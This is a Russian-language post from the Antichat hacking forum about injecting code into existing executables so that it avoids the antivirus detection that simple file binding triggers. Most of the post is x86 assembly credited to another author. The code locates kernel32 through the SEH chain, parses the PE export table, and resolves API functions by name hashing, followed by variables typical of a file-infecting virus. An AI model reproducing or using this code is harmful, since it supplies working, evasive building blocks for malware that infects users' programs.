|
Reservists Of Antichat - Level 6
Регистрация: 04.02.2007
Сообщений: 1,152
Провел на форуме: 3008839
Репутация:
1502
|
|
Сообщение от ProTeuS
только вот парева небыло бы совершенно, если добавить в секцию заранее написаный базонезависимый код. и никакого импорта, никакого-инлайн асма и гемороя...
Тогда это получится что-то типа обычной склейки (которая, кстати, может и антивирем спалиться), а тут я описал внесение изменений, которые на самом деле вполне могут обмениваться информацией с "хостовой" программой...
Конечно, можно было бы заметить, что функции можно искать и без внесения импорта, как подробно описано тут(Greetz to TermoSINteZ).
Вот небольшой экстракт кода оттуда:
Код:
_ReadSEH:
xor edx, edx
mov eax, dword ptr fs:[edx] ;читаем элемент SEH
dec edx ;edx = -1
_SearchK32:
cmp dword ptr [eax], edx ;встретили нужный ?
je _CheckK32
mov eax, dword ptr [eax] ;получаем следующее значение
jmp _SearchK32
_CheckK32:
mov eax,[eax+4] ;получаем адрес ГДЕ-ТО в kernel32.dll
xor ax,ax ;выравниваем полученный адрес
Код:
_SearchMZ:
cmp word ptr [eax],5A4Dh ;сверяем сигнатуру
je _CheckMZ
sub eax,10000h ;если неравно то ищем дальше
jmp _SearchMZ
_CheckMZ:
mov edx, dword ptr [eax+3ch] ;переходим на PE заголовок
cmp word ptr [eax+edx],4550h ;сверяем сигнатуру
jne _Exit
Код:
_SearchAPI:
mov esi, dword ptr [eax+edx+78h] ;RVA таблицы экспорта
add esi,eax ;нормализуем адрес
add esi,18h ;получаем нужный указатель на число ;указателей на имена
xchg eax,ebx
lodsd ;получаем число указателей на имена
push eax
lodsd ;получаем адрес таблицы экспорта.
push eax
lodsd ;получаем указатель на та таблицу ;указателей на имена
push eax
add eax,ebx
push eax ;Index элемента таблицы имен
lodsd ;получим указатель на таблицу ординалов
push eax
mov edi, dword ptr [esp+4*5] ;указываем на стек
lea edi, dword ptr [edi+HeshTable] ;получаем смещение таблицы HeshTable
mov ebp,esp ;настраиваем стек
Код:
_BeginSearch:
mov ecx, dword ptr [ebp+4*4] ;число имен функций
xor edx,edx
_SearchAPIName:
mov esi, dword ptr [ebp+4*1] ;Index элемента таблицы имен
mov esi, dword ptr [esi] ;таблица экспорта
add esi,ebx ;адрес ASСII имени первой API-функции
Код:
_GetHash:
xor eax,eax
push eax
_CalcHash:
ror eax,7 ;сдвигаем
xor dword ptr [esp],eax ;ксорим
lodsb ;загружаем следующую букву
test al,al ;сверяем, конец ли имени ?
jnz _CalcHash
pop eax
_OkHash:
cmp eax, dword ptr [edi] ;сверяем полученный hash с тем что в ;таблице HeshTable
je _OkAPI
add dword ptr [ebp+4*1],4 ;сдвигаемся к другому элементу таблицы ;экспорта
inc edx
loop _SearchAPIName
jmp _Exit
_OkAPI:
shl edx,1 ;номер функции
mov ecx, dword ptr [ebp] ;берем указатель на таблицу ординалов
add ecx,ebx
add ecx,edx
mov ecx, dword ptr [ecx]
and ecx,0FFFFh
mov edx, dword ptr [ebp+4*3] ;извлекаем Address Table RVA
add edx,ebx
shl ecx,2
add edx,ecx
mov edx, dword ptr [edx]
add edx,ebx
push edx ;сохраняем адрес найденной функции
cmp word ptr [edi+4],0FFFFh ;последняя ?
je _Call_API
add edi,4 ;следующее hash-значение функции
_NextName:
mov ecx, dword ptr [ebp+4*2] ;восстанавливаем начало таблицы экспорта
add ecx,ebx
mov dword ptr [ebp+4*1], ecx ;Index в таблице имен
jmp short _BeginSearch
_Call_API:
Код:
….
ExitProcess equ [ebp-4*12]
GetProcAddress equ [ebp-4*13]
LoadLibrary equ [ebp-4*14]
SetCurrentDirectory equ [ebp-4*15]
EIP equ [ebp-4*16]
Find_H equ [ebp-4*17]
FileHandle equ [ebp-4*18]
FileSize equ [ebp-4*19]
….
__________________
Bedankt euch dafür bei euch selbst.
H_2(S^3/((z1, z2)~(exp(2pi*i/p)z1, exp(2pi*q*i/p)z2)))=Z/pZ
|